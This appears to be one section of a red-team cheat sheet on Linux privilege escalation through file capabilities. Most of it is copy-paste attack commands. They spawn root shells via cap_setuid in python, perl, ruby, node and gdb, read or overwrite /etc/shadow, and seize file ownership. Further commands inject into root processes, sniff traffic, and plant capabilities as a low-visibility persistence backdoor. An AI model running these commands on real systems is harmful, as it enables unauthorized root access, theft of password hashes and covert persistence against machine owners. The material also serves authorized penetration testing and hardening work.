PrivEsc - Capabilities

Sections PrivEsc - Capabilities

08 PrivEsc - Capabilities

Linux capabilities split root powers into pieces. A binary with the wrong cap = privesc.

i. Enumerate

getcap -r / 2>/dev/null
getcap -r / 2>/dev/null | grep -v '^/snap'   ## filter snap noise

Per-file check:

getcap /usr/bin/python3

Process capabilities (running services):

cat /proc/self/status | grep Cap
## Decode CapEff:
capsh --decode=00000000a80425fb

ii. Dangerous capabilities and how to abuse

cap_setuid+ep, can setuid() to any UID, instant root:

## On python with cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
## On perl:
perl -e 'use POSIX(setuid); POSIX::setuid(0); exec "/bin/bash";'
## On ruby:
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
## On node:
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
## On gdb:
gdb -nx -ex 'python import os; os.setuid(0); os.execl("/bin/bash","bash")' -ex quit

cap_setgid+ep, change GID, useful when target file is group-readable by root group:

python3 -c 'import os; os.setgid(0); os.system("id; cat /etc/shadow")'

cap_dac_read_search+ep, read any file, ignore DAC checks. Doesn’t give shell directly but reads /etc/shadow, SSH keys, etc:

## On tar with cap_dac_read_search:
tar -cf /tmp/s.tar /etc/shadow
tar -xf /tmp/s.tar -O > /tmp/shadow
## On python:
python3 -c 'print(open("/etc/shadow").read())'

cap_dac_override+ep, write any file regardless of perms. Use it to write to /etc/shadow or /etc/passwd:

## Replace root's password hash:
openssl passwd -1 -salt x pass        ## generate hash
python3 -c 'open("/etc/shadow","w").write("root:HASHHERE:18000:0:99999:7:::\n")'
su root

cap_chown+ep, change ownership of any file:

python3 -c 'import os; os.chown("/etc/shadow", os.getuid(), -1)'
## Now you own /etc/shadow, edit it directly

cap_sys_admin+ep, basically root. Many exploits, mount, namespace abuse:

## Mount a partition with no_root_squash semantics
## Or use it to bind-mount over critical files

cap_sys_ptrace+ep, attach to any process:

## Attach to a root process and inject shellcode, or read memory for secrets
gdb -p <root-pid>
## (gdb) call (int) system("/bin/sh -p")

cap_net_raw+ep, raw sockets, useful for sniffing and ARP spoofing on the box. Not direct root but a stepping stone:

tcpdump -i any -nA -s0 'tcp port 22 or tcp port 80'

cap_net_bind_service+ep, bind to ports < 1024. Use for SMB relay or fake services to phish other accounts:

python3 -m http.server 80

iii. Capability inheritance

A binary with caps +ei only gets caps if the calling process has them. +ep gets them every time. Look for +ep:

getcap -r / 2>/dev/null | grep '+ep'

iv. Common GTFOBins capability entries

Check GTFOBins -> Capabilities . The big ones:

  • python / python3 / python2 -> setuid
  • perl / ruby / node -> setuid
  • gdb -> setuid
  • tar -> dac_read_search
  • openssl -> dac_read_search (read files via -engine)
  • rsync -> dac_read_search

v. Custom binary with caps

Same as SUID inspection from 06 PrivEsc - SUID & Sudo :

file /usr/local/bin/custom
strings /usr/local/bin/custom | grep -E 'cap_|setuid|exec'
ltrace /usr/local/bin/custom 2>&1 | head

vi. Granting caps for persistence (after root)

Less detectable than SUID for persistence:

setcap cap_setuid+ep /usr/bin/python3
## Now any user can run: python3 -c 'import os; os.setuid(0); os.system("bash")'
Caps survive less than SUID

Capabilities are stored in extended attributes (xattrs). Some backup tools strip them. SUID bit is more portable but more visible. Pick based on the engagement.

vii. Cleanup

## Remove caps you added
setcap -r /usr/bin/python3
## Verify
getcap /usr/bin/python3

See 13 Persistence & Cleanup .